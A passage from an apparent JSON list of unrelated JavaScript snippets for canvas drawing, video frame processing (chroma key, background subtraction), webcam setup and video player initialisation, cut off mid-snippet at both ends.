(this.mode){\\n\\t\\t\\t\\tcase 'Chroma Key':\\n\\t\\t\\t\\t\\tchromaKey();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase 'Subtraction':\\n\\t\\t\\t\\t\\tsubtraction();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase 'Fancy Method':\\n\\t\\t\\t\\t\\tfancy();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\tchromaKey();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\t\\n\\tvar color_ratio = 2.5, threshold = 40;\\n\\tfunction chromaKey() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tvar l = frame.data.length / 4;\\n\\t\\t\\n\\t\\tfor (var i = 0; i < l; i++) {\\n\\t\\t\\tvar pos = i*4;\\n\\t\\t\\tvar r = frame.data[pos + 0];\\n\\t\\t\\tvar g = frame.data[pos + 1];\\n\\t\\t\\tvar b = frame.data[pos + 2];\\n\\t\\t\\tif (b>r && b>g && (b>r*color_ratio || b>g*color_ratio) && b > threshold){\\n\\t\\t\\t\\tframe.data[pos + 0] = 255;\\n\\t\\t\\t\\tframe.data[pos + 1] = 255;\\n\\t\\t\\t\\tframe.data[pos + 2] = 255;\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t//renderer.clear();\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t\\t//videoImageContext.clearRect(0,0,50,50);\\n\\t}\\n\\t\\n\\tvar old_data = [], index = 0, buffer_length = 5, std_cutoff = 40;\\n\\tfunction fancy() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\told_data[index] = new Uint8ClampedArray(frame.data);\\n\\t\\t\\n\\t\\tvar current_buffer_size = old_data.length;\\n\\t\\tvar l = frame.data.length / 4;\\n\\t\\tfor (var i = 0; i < l; i++) {\\n\\t\\t\\tvar pos = i*4, mean = 0;\\n\\t\\t\\tfor (var j = 0; j < current_buffer_size; j++)\\n\\t\\t\\t\\tmean += (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t\\t\\tmean /= buffer_length;\\n\\t\\t\\t\\n\\t\\t\\tvar std = 0;\\n\\t\\t\\tfor (var j = 0; j < current_buffer_size; j++) {\\n\\t\\t\\t\\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t\\t\\t\\tstd += Math.pow(color_avg - mean, 2);\\n\\t\\t\\t}\\n\\t\\t\\tstd = Math.sqrt(std);\\n\\t\\t\\t//console.log('std: ', std);\\n\\t\\t\\t\\n\\t\\t\\tif (std < std_cutoff){\\n\\t\\t\\t\\t//frame.data[pos + 0] = 255;\\n\\t\\t\\t\\t//frame.data[pos + 1] = 255;\\n\\t\\t\\t\\t//frame.data[pos + 2] = 255;\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t\\t//frame.data[pos + 3] = Math.exp(std);\\n\\t\\t}\\n\\t\\t//renderer.clear();\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t\\t//videoImageContext.clearRect(0,0,50,50);\\n\\t\\tindex = (index+1)%buffer_length;\\n\\t\\t//console.log('index: ', index);\\n\\t}\\n\\t\\n\\tvar snapshot_data;\\n\\tfunction snapshot(){\\n\\t\\tdrawImage();\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tsnapshot_data = new Uint8ClampedArray(frame.data);\\n\\t}\\n\\t\\n\\tvar first = true, difference_threshold = 20, frame_length=0;\\n\\tfunction subtraction() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tif (first) {\\n\\t\\t\\tsnapshot();\\n\\t\\t\\tfirst = false;\\n\\t\\t\\tframe_length = frame.data.length / 4;\\n\\t\\t}\\n\\t\\tfor (var i = 0; i < frame_length; i++) {\\n\\t\\t\\tvar pos = i*4, r = pos, g = pos+1, b = pos+2;\\n\\t\\t\\t\\n\\t\\t\\tvar difference = Math.sqrt((Math.pow(frame.data[r]-snapshot_data[r], 2) + Math.pow(frame.data[g]-snapshot_data[g], 2) + Math.pow(frame.data[b]-snapshot_data[b], 2))/3);\\n\\t\\t\\tif (difference < difference_threshold) {\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t}\\n\\t\\n\\t//var bin_images = [], bin_counts = [], total_bins = 5, curr_bins = 0, frame_length = 0;\\n\\t//function subtraction() {\\n\\t// var frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t// if (curr_bins < bins) {\\n\\t//\\t\\tbin_images[curr_bins] = new Uint8ClampedArray(frame.data);\\n\\t//\\t\\tcurr_bins++;\\n\\t//\\t\\tframe_length = frame.data.length / 4;\\n\\t//\\t}\\n\\t// for (var i = 0; i < frame_length; i++) {\\n\\t//\\t\\tvar pos = i*4, best_bin = 0, r = pos, g = pos+1, b = pos+2;\\n\\t//\\t\\t\\n\\t//\\t\\tvar min_idx = 0, min_val = -1;\\n\\t//\\t\\tfor (var j = 0; j < curr_bins; j++){\\n\\t//\\t\\t\\tvar data = possible_backgrounds[j];\\n\\t//\\t\\t\\tvar difference = Math.sqrt((Math.pow(frame.data[r]-data[r], 2) + Math.pow(frame.data[g]-data[g], 2) + Math.pow(frame.data[b]-data[b], 2))/3);\\n\\t//\\t\\t\\tif (difference < max_val || min_val == -1) {\\n\\t//\\t\\t\\t\\tmax_val = difference;\\n\\t//\\t\\t\\t\\tmin_idx = j;\\n\\t//\\t\\t\\t}\\n\\t//\\t\\t}\\n\\t//\\t\\t\\n\\t//\\t\\t\\n\\t//\\t\\tvar std = 0;\\n\\t//\\t\\tfor (var j = 0; j < buffer_length; j++) {\\n\\t//\\t\\t\\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t//\\t\\t\\tstd += Math.pow(color_avg - mean, 2);\\n\\t//\\t\\t}\\n\\t//\\t\\tstd = Math.sqrt(std);\\n\\t//\\t\\t//console.log('std: ', std);\\n\\t//\\t\\t\\n\\t// if (std < std_cutoff){\\n\\t// //frame.data[pos + 0] = 255;\\n\\t// //frame.data[pos + 1] = 255;\\n\\t// //frame.data[pos + 2] = 255;\\n\\t// frame.data[pos + 3] = 0;\\n\\t// }\\n\\t//\\t\\t//frame.data[pos + 3] = Math.exp(std);\\n\\t// }\\n\\t// //renderer.clear();\\n\\t// videoImageContext.putImageData(frame, 0, 0);\\n\\t// //videoImageContext.clearRect(0,0,50,50);\\n\\t//\\tindex = (index+1)%buffer_length;\\n\\t//\\t//console.log('index: ', index);\\n\\t//}\\n}\",\n \"function canvasInit() {\\n var canvas = document.getElementById(\\\"canvas\\\");\\n if (canvas.getContext) {\\n var ctx = canvas.getContext(\\\"2d\\\");\\n ctx.fillStyle = '#444';\\n ctx.font = '28px Arial';\\n wrapText(ctx, \\\"← Start by entering a jsonline.com url on the left.\\\", 100, 25, 700, 50);\\n step = 0;\\n }\\n}\",\n \"function initEditorCanvas() {\\n let canvas = document.getElementById('editorCanvas');\\n // Resize the canvas.\\n canvas.width = EDITOR_SCALE * CHR_WIDTH;\\n canvas.height = EDITOR_SCALE * CHR_HEIGHT;\\n\\n let ctx = cmn.getContext2DNA(canvas);\\n ctx.imageSmoothingEnabled = false;\\n ctx.scale(EDITOR_SCALE, EDITOR_SCALE);\\n\\n // Canvas is white by default.\\n ctx.fillStyle = 'black';\\n ctx.fillRect(0, 0, CHR_WIDTH, CHR_HEIGHT);\\n\\n canvas.addEventListener('mousedown', function (me) { _mouseDown = true; onMouseMove(me); });\\n canvas.addEventListener('mousemove', onMouseMove);\\n canvas.addEventListener('mouseup', function (me) { _mouseDown = false; });\\n canvas.addEventListener('mouseleave', function (me) { _mouseDown = false; });\\n}\",\n \"function init() {\\n canvas = document.getElementById('can');\\n ctx = canvas.getContext(\\\"2d\\\");\\n}\",\n \"function init() {\\n // Put event listeners into place\\n // Notice that in this specific case handlers are loaded on the onload event\\n window.addEventListener('DOMContentLoaded', function() {\\n // Grab elements, create settings, etc.\\n var canvas = document.getElementById('canvas');\\n var context = canvas.getContext('2d');\\n var video = document.getElementById('video');\\n var mediaConfig = {\\n video: true,\\n };\\n var errBack = function(e) {\\n console.log('An error has occurred!', e);\\n };\\n\\n // Put video listeners into place\\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\\n navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\\n video.srcObject = stream;\\n video.onloadedmetadata = function(e) {\\n video.play();\\n };\\n });\\n }\\n\\n // Trigger photo take\\n document.getElementById('snap').addEventListener('click', function() {\\n context.drawImage(video, 0, 0, 640, 480);\\n state.photoSnapped = true; // photo has been taken\\n });\\n\\n // Trigger when upload button is pressed\\n document.getElementById('upload').addEventListener('click', uploadImage);\\n\\n document.getElementById('search').addEventListener('click',searchPhoto);\\n\\n }, false);\\n\\n }\",\n \"function main()\\n{\\n\\t//Function to execute when a canvas is created:\\n\\tvar canvasLoaded = 0;\\n\\tvar onLoadCanvas = function()\\n\\t{\\n\\t\\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\\\"Canvas '\\\" + this.getId() + \\\"' loaded! Mode used: \\\" + this.getMode()); }\\n\\n\\t\\tcanvasLoaded++;\\n\\n\\t\\t//Gets the \\\"context\\\" object to start working with the canvas:\\n\\t\\tvar canvasContext = this.getContext();\\n\\t\\tif (!canvasContext) { CB_console(\\\"ERROR: canvas context could not be obtained! Drawing cannot be performed.\\\"); return; }\\n\\n\\t\\t//Stores the canvas in the 'canvases' object:\\n\\t\\tcanvases[this.getId()] = this;\\n\\n\\t\\t//If both canvas (normal and buffer) have been created, proceeds with the rendering:\\n\\t\\tif (canvasLoaded >= 2)\\n\\t\\t{\\n\\t\\t\\t//When the screen changes its size or its orientation, both canvases will be re-adapted:\\n\\t\\t\\tvar onResizeOrChangeOrientationTimeout = null;\\n\\t\\t\\tvar onResizeOrChangeOrientation = function()\\n\\t\\t\\t{\\n\\t\\t\\t\\tclearTimeout(onResizeOrChangeOrientationTimeout);\\n\\t\\t\\t\\tonResizeOrChangeOrientationTimeout = setTimeout //NOTE: needs a delay as some clients on iOS update the screen size information in two or more steps (last step is the correct value).\\n\\t\\t\\t\\t(\\n\\t\\t\\t\\t\\tfunction()\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t//Resizes the canvas:\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].setWidth(CB_Screen.getWindowWidth());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].setHeight(CB_Screen.getWindowHeight());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].clear(); canvases[\\\"my_canvas\\\"].disableAntiAliasing();\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t//Resizes the buffer canvas:\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].setWidth(CB_Screen.getWindowWidth());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].setHeight(CB_Screen.getWindowHeight());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].clear();\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].disableAntiAliasing();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t);\\n\\t\\t\\t};\\n\\t\\t\\tCB_Screen.onResize(onResizeOrChangeOrientation);\\n\\n\\t\\t\\t//Clears both canvas:\\n\\t\\t\\tcanvases[\\\"my_canvas\\\"].clear();\\n\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].clear();\\n\\t\\t\\t\\n\\t\\t\\t//Disables anti-aliasing to avoid problems with adjacent sprites:\\n\\t\\t\\tcanvases[\\\"my_canvas\\\"].disableAntiAliasing();\\n\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].disableAntiAliasing();\\n\\t\\t\\t\\n\\t\\t\\t//Creates the sprites groups:\\n\\t\\t\\tvar graphicSpritesSceneObject = createSpritesGroups();\\n\\n\\t\\t\\t//Caches all needed images (performance purposes) and starts rendering sprites groups when all are loaded:\\n\\t\\t\\tmyREM = new CB_REM();\\n\\t\\t\\tmyREM.cacheImages\\n\\t\\t\\t(\\n\\t\\t\\t\\tgraphicSpritesSceneObject, //CB_GraphicSpritesSceneObject.\\n\\t\\t\\t\\tundefined, //reload.\\n\\t\\t\\t\\tfunction(imagesLoaded) //onLoad.\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t//Sets the current time as the start time to start counting the FPS (erased each second automatically):\\n\\t\\t\\t\\t\\tmyREM._startTimeFPS = CB_Device.getTiming();\\n\\n\\t\\t\\t\\t\\t//Show the FPS (Frames Per Second) every time there is a new value:\\n\\t\\t\\t\\t\\tmyREM.onUpdatedFPS(function(FPS) { graphicSpritesSceneObject.getById(\\\"fps_group\\\").getById(\\\"fps\\\").src = \\\"FPS: \\\" + FPS; });\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t//Processes the sprites groups:\\n\\t\\t\\t\\t\\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\\\"Starts processing graphic sprites scene ('CB_GraphicSpritesScene' object) constantly...\\\"); }\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tprocessSpritesGroups(graphicSpritesSceneObject, canvases[\\\"my_canvas\\\"], canvases[\\\"my_canvas\\\"].getContext(), canvases[\\\"my_canvas_buffer\\\"], canvases[\\\"my_canvas_buffer\\\"].getContext());\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t}\\n\\t};\\n\\t\\n\\t//Creates the canvases:\\n\\tvar canvases = {};\\n\\tcanvases[\\\"my_canvas\\\"] = new CB_Canvas\\n\\t(\\n\\t\\t\\\"my_canvas\\\", //canvasId. Unique required parameter.\\n\\t\\t\\\"2d\\\", //contextType. NOTE: some emulation methods only support \\\"2d\\\". Default: \\\"2d\\\".\\n\\t\\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\\n\\t\\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\\n\\t\\tonLoadCanvas, //onLoad.\\n\\t\\tfunction(error) { CB_console(\\\"Canvas object problem! Error: \\\" + error); }, //onError.\\n\\t\\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\\n\\t);\\n\\tcanvases[\\\"my_canvas_buffer\\\"] = new CB_Canvas\\n\\t(\\n\\t\\t\\\"my_canvas_buffer\\\", //canvasId. Unique required parameter.\\n\\t\\t\\\"2d\\\", //contextType. NOTE: some emulation methods only support \\\"2d\\\". Default: \\\"2d\\\".\\n\\t\\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\\n\\t\\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\\n\\t\\tonLoadCanvas, //onLoad.\\n\\t\\tfunction(error) { CB_console(\\\"Canvas object problem! Error: \\\" + error); }, //onError.\\n\\t\\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\\n\\t);\\n}\",\n \"function initializeCanvas() {\\n\\tcanvas = document.getElementById(\\\"canvas\\\");\\n\\tctx = canvas.getContext(\\\"2d\\\");\\n}\",\n \"init() {\\n const canvas = document.createElement('canvas');\\n\\n canvas.style.display = 'none';\\n canvas.style.position = 'fixed';\\n canvas.style.top = '0px';\\n canvas.style.left = '0px';\\n canvas.style.zIndex = '1000000';\\n this.canvas = canvas;\\n\\n this.context = canvas.getContext('2d');\\n\\n document.body.appendChild(canvas);\\n\\n window.addEventListener('resize', (event) => this.resize());\\n\\n // UI events\\n window.addEventListener('mousemove', (event) => this.mouseMove(event));\\n window.addEventListener('mouseup', (event) => this.mouseUp(event));\\n window.addEventListener('mousedown', (event) => this.mouseDown(event));\\n window.addEventListener('keydown', (event) => this.keyDown(event));\\n\\n this.resize();\\n }\",\n \"function Init() {\\r\\n // Get context handles\\r\\n CanvasHandle = document.getElementById(\\\"canvas\\\");\\r\\n ContextHandle = CanvasHandle.getContext(\\\"2d\\\");\\r\\n CanvasWidth = ContextHandle.canvas.clientWidth;\\r\\n CanvasHeight = ContextHandle.canvas.clientHeight;\\r\\n\\r\\n // Create an image backbuffer\\r\\n BackCanvasHandle = document.createElement(\\\"canvas\\\");\\r\\n BackContextHandle = BackCanvasHandle.getContext(\\\"2d\\\");\\r\\n BackCanvasHandle.width = CanvasWidth;\\r\\n BackCanvasHandle.height = CanvasHeight;\\r\\n\\r\\n // Set line style\\r\\n BackContextHandle.lineCap = \\\"butt\\\";\\r\\n BackContextHandle.lineJoin = \\\"round\\\";\\r\\n BackContextHandle.strokeStyle = \\\"rgb(255, 255, 255)\\\";\\r\\n\\r\\n // Get the canvas center\\r\\n CenterX = CanvasWidth / 2;\\r\\n CenterY = CanvasHeight / 2;\\r\\n Camera = {x:0, y:0, r:20};\\r\\n}\",\n \"function init() {\\n redrawTIAIndicator = true;\\n usePhosphor = false;\\n phosphorBlendPercent = JsVideoConsts.DEFAULT_PHOSPHOR_BLEND;\\n\\n // Allocate buffers for two frame buffers\\n jsvideo.currentFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\\n previousFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\\n initBackBuffer(JsVideoConsts.DEFAULT_WIDTH, JsVideoConsts.DEFAULT_HEIGHT);\\n initPalettes();\\n loadImages();\\n jsvideo.initialize();\\n }\",\n \"function video() {\\n\\t\\t$('#wrapper').fitVids();\\n\\t}\",\n \"function paintToCanvas() {\\n // first we need the width and height\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n // make sure now that the canvas is the same size as the video before we paint into it\\n canvas.width = width;\\n canvas.height = height;\\n\\n // now ever x seconds we're going to snap a picture\\n setInterval(() => {\\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\\n // take the pixels out\\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\\n // messing with the pixels\\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\\n ctx.globalAlpha = 0.8;\\n //pixels = greenScreen(pixels);\\n // putting the pixels back back\\n ctx.putImageData(pixels, 0, 0);\\n }, 16); // here every 16 milliseconds a picture is taken from the video\\n}\",\n \"function initCanvas() {\\n if(isDebugged) {\\n debug.style.display = \\\"block\\\";\\n } else {\\n debug.style.display = \\\"none\\\";\\n }\\n\\n console.log(\\\"initializing canvas\\\");\\n\\n //var canvasElement = document.querySelector(\\\"#canvas\\\");\\n canvas = new fabric.Canvas(\\\"canvas\\\",{\\n selection: false,\\n height: canvas_initial_height,\\n width: canvas_initial_width,\\n backgroundColor: canvas_background_color\\n });\\n\\n //canvas.isDrawingMode = true;\\n\\n canvas.on(\\\"mouse:down\\\", onMouseDownCanvas);\\n\\n canvas.on(\\\"mouse:up\\\", onMouseUpCanvas);\\n\\n canvas.on(\\\"mouse:move\\\", onMouseMoveCanvas);\\n\\n //updateAndSyncCanvasSize(canvas_initial_width, canvas_initial_height);\\n}\",\n \"function setupMedia() {\\n if (supportsMedia()) {\\n audioContext = new AudioContext();\\n\\n navigator.getUserMedia(\\n {\\n video: false,\\n audio: true\\n },\\n function (localMediaStream) {\\n // map the camera\\n var video = document.getElementById('live_video');\\n video.src = window.URL.createObjectURL(localMediaStream);\\n\\n // create the canvas & get a 2d context\\n videoCanvas = document.createElement('canvas');\\n videoContext = videoCanvas.getContext('2d');\\n\\n // setup audio recorder\\n var audioInput = audioContext.createMediaStreamSource(localMediaStream);\\n //audioInput.connect(audioContext.destination);\\n // had to replace the above with the following to mute playback\\n // (so you don't get feedback)\\n var audioGain = audioContext.createGain();\\n audioGain.gain.value = 0;\\n audioInput.connect(audioGain);\\n audioGain.connect(audioContext.destination);\\n\\n audioRecorder = new Recorder(audioInput);\\n mediaStream = localMediaStream;\\n mediaInitialized = true;\\n\\n document.getElementById('uploading').hidden = true;\\n document.getElementById('media-error').hidden = true;\\n document.getElementById('record').hidden = false;\\n },\\n function (e) {\\n console.log('web-cam & microphone not initialized: ', e);\\n document.getElementById('media-error').hidden = false;\\n }\\n );\\n }\\n}\",\n \"function init(){\\n W = canvas.width = window.innerWidth;\\n H = canvas.height = window.innerHeight;\\n\\n // getting all the frames into the array of frames\\n loadFrames();\\n // creating the origin object\\n origin = new Origin();\\n}\",\n \"function setUpCanvas() {\\n /* clearing up the screen */\\n clear();\\n /* Set display size (vw/vh). */\\n var sizeWidth = (80 * window.innerWidth) / 100,\\n sizeHeight = window.innerHeight;\\n //Setting the canvas site and width to be responsive\\n upperLayer.width = sizeWidth;\\n upperLayer.height = sizeHeight;\\n upperLayer.style.width = sizeWidth;\\n upperLayer.style.height = sizeHeight;\\n lowerLayer.width = sizeWidth;\\n lowerLayer.height = sizeHeight;\\n lowerLayer.style.width = sizeWidth;\\n lowerLayer.style.height = sizeHeight;\\n rect = upperLayer.getBoundingClientRect();\\n}\",\n \"function setup() {\\n createCanvas(640, 480);\\n\\n video = createCapture(VIDEO);\\n video.size(width, height);\\n\\n // Create a new poseNet method with a single detection\\n poseNet = ml5.poseNet(video, modelReady);\\n // This sets up an event that fills the global variable \\\"poses\\\"\\n // with an array every time new poses are detected\\n poseNet.on('pose', function(results) {\\n poses = results;\\n debugger;\\n });\\n // Hide the video element, and just show the canvas\\n video.hide();\\n}\",\n \"function initVideo(){\\n\\t\\t//fit all videos in their parent container\\n\\t\\tjQuery(\\\".scalevid\\\").fitVids();\\n\\t}\",\n \"function initCanvasAndEditor() {\\n // Editor\\n initEditor();\\n\\n // Canvas\\n canvasResizer();\\n renderCanvas();\\n\\n // Listeners\\n addListeners();\\n}\",\n \"run() {\\n requestAnimationFrame(() => {\\n this.runFrame();\\n });\\n\\n this.output.video.run();\\n\\n this.running = true;\\n this.paused = false;\\n }\",\n \"function init() \\n {\\n\\t\\t\\n\\t\\t// initialize variables\\n\\t\\tvideo = document.getElementById(\\\"video1\\\");\\n\\t\\tcanvas = document.getElementById(\\\"canvas\\\");\\n\\t\\ttime_slider = document.getElementById(\\\"time_slider\\\");\\n label_CurrenFrame = document.getElementById(\\\"currentFrameTime\\\");\\n label_VideoLength = document.getElementById(\\\"videoLength\\\");\\n\\t\\tprevious_frame = document.getElementById(\\\"previousFrame\\\");\\n\\t\\tnext_frame = document.getElementById(\\\"nextFrame\\\");\\n\\t\\tcontainer = document.getElementById(\\\"container\\\");\\n\\t\\tcreate_sum = document.getElementById(\\\"submit\\\");\\n\\t\\t\\n //initialize events\\n\\t\\tcanvas.addEventListener(\\\"click\\\", saveFrame, false);\\n\\t\\tcanvas.addEventListener(\\\"mousemove\\\", mouseMove, false);\\n\\t\\ttime_slider.addEventListener(\\\"change\\\", UpdateFrame, false);\\n\\t\\ttime_slider.addEventListener(\\\"input\\\", UpdateFrame, false);\\n\\t\\t\\n\\t\\tdocument.getElementById('files').addEventListener('change', FileChosen);\\n\\t\\tdocument.getElementById('UploadButton').addEventListener('click', StartUpload); \\n\\t\\t\\n video.addEventListener('loadeddata', function () {\\n label_CurrenFrame.innerHTML = secondsToTimeString(video.currentTime);\\n label_VideoLength.innerHTML = secondsToTimeString(video.duration);\\n });\\n \\n\\t\\tprevious_frame.addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tif (actual_frame === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (isUndefined(actual_frame)) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (actual_frame.second <= 0) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tvar value = Math.floor((actual_frame.second - 1) * 100 / video.duration);\\n\\t\\t\\tif (value >= 0 && value <= 100) {\\n\\t\\t\\t\\tactual_frame.second--;\\n\\t\\t\\t\\ttime_slider.value = value;\\n\\t\\t\\t\\tdrawFrame(actual_frame);\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\tnext_frame.addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tif (actual_frame === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (video === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (isUndefined(actual_frame) || isUndefined(video) || isUndefined(video.duration)) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (actual_frame.second >= video.duration) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tvar value = Math.floor((actual_frame.second + 1) * 100 / video.duration);\\n\\t\\t\\tif (value >= 0 && value <= 100) {\\n\\t\\t\\t\\tactual_frame.second++;\\n\\t\\t\\t\\ttime_slider.value = value;\\n\\t\\t\\t\\tdrawFrame(actual_frame);\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\tdocument.getElementById('submit').addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tupdateDescriptions();\\n\\t\\t\\tvar result = combineSegments();\\n\\t\\t\\tconsole.log(result);\\n\\t\\t\\t// send result to server!\\n \\t\\t\\tsocket.emit('ffmpeg', { 'Name' : SelectedFile.name, 'Data' : result });\\n\\t\\t\\tdocument.getElementById(\\\"create_progress\\\").innerHTML='Creating summary... 0%';\\n \\n\\t\\t\\tResetSegments();\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\t// initialize player\\n\\t\\tinitPlayer();\\n\\t\\n\\t}\",\n \"function initialize() {\\n // will create HTML5 video element in staging area if not present\\n getDOMVideo();\\n isInitialized = true;\\n }\",\n \"async function setupWebcam() {\\n if (navigator.mediaDevices.getUserMedia) {\\n const stream = await navigator.mediaDevices.getUserMedia({\\n \\\"audio\\\": false,\\n \\\"video\\\": {\\n width: {\\n min: 640,\\n max: 640\\n },\\n height: {\\n min: 480,\\n max: 480\\n }\\n }\\n });\\n\\n webcam.srcObject = stream;\\n\\n return new Promise((resolve) => {\\n webcam.onloadedmetadata = () => {\\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\\n\\n canvasDims = [canvas.height, canvas.width];\\n\\n resolve(webcam);\\n };\\n });\\n }\\n}\",\n \"function drawFrameOnCanvas(frame) {\\n\\t\\n\\t\\tvar reset = frame.reset;\\n\\t\\n canvas.height = video.videoHeight;\\n canvas.width = video.videoWidth;\\n\\t\\t// retrieve context for drawing\\n\\t\\tvar context = canvas.getContext(\\\"2d\\\");\\n\\t\\t\\t\\t\\n\\t\\t// Start by clearing the canvas\\n\\t\\tcontext.clearRect(0, 0, canvas.width, canvas.height);\\n\\t\\t\\n\\t\\t// draw frame according to time\\n\\t\\t\\n\\t\\tif (reset) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\t\\n\\t\\tcontext.drawImage(video, 0, 0, canvas.width, canvas.height);\\n \\n }\",\n \"function renderUIAfterFrameChange(videoNode) {\\n\\n const video = videoNode.data.videoCore\\n\\n /* Rendering the current time bar */\\n renderCurrentPlaybackBar(videoNode)\\n\\n /* Updating the canvas resolution */\\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\\n\\n if (alpha1 < alpha2) {\\n canvas.width = video.videoWidth + alpha1\\n canvas.height = video.videoHeight\\n } else {\\n canvas.width = video.videoWidth\\n canvas.height = video.videoHeight + alpha2\\n }\\n\\n canvasRatio = canvas.width / canvas.height\\n videoRatio = video.videoWidth / video.videoHeight\\n\\n currentVideoDurationLabel.innerText = formatTimeFromSeconds((\\n videoNode.data.metadata.baseDuration - videoNode.data.metadata.startTime + video.currentTime\\n ).toFixed(2))\\n \\n if (videoNode.data.metadata.ratio == 'fit') {\\n if (window.currentRatio == 'strech') {\\n document.querySelector('.toogle-fit').click()\\n }\\n context.drawImage(\\n video, canvas.width / 2 - videoRatio * canvas.height / 2, 0, videoRatio * canvas.height, canvas.height\\n ) \\n } else if (videoNode.data.metadata.ratio == 'strech') {\\n if (window.currentRatio === 'fit') {\\n document.querySelector('.toogle-strech').click()\\n }\\n context.drawImage(\\n video, 0, 0, canvas.width, canvas.height\\n )\\n }\\n}\",\n \"function init() {\\n\\t\\t\\tconstructVideoPlayerContent(elems.container);\\n\\t\\t\\tshowControls();\\n\\t\\t\\t_.event(elems.btnBigPlay, 'click', play);\\n\\t\\t\\t_.event(elems.buttons.play, 'click', playPause);\\n\\t\\t\\t_.event(elems.video, 'click', 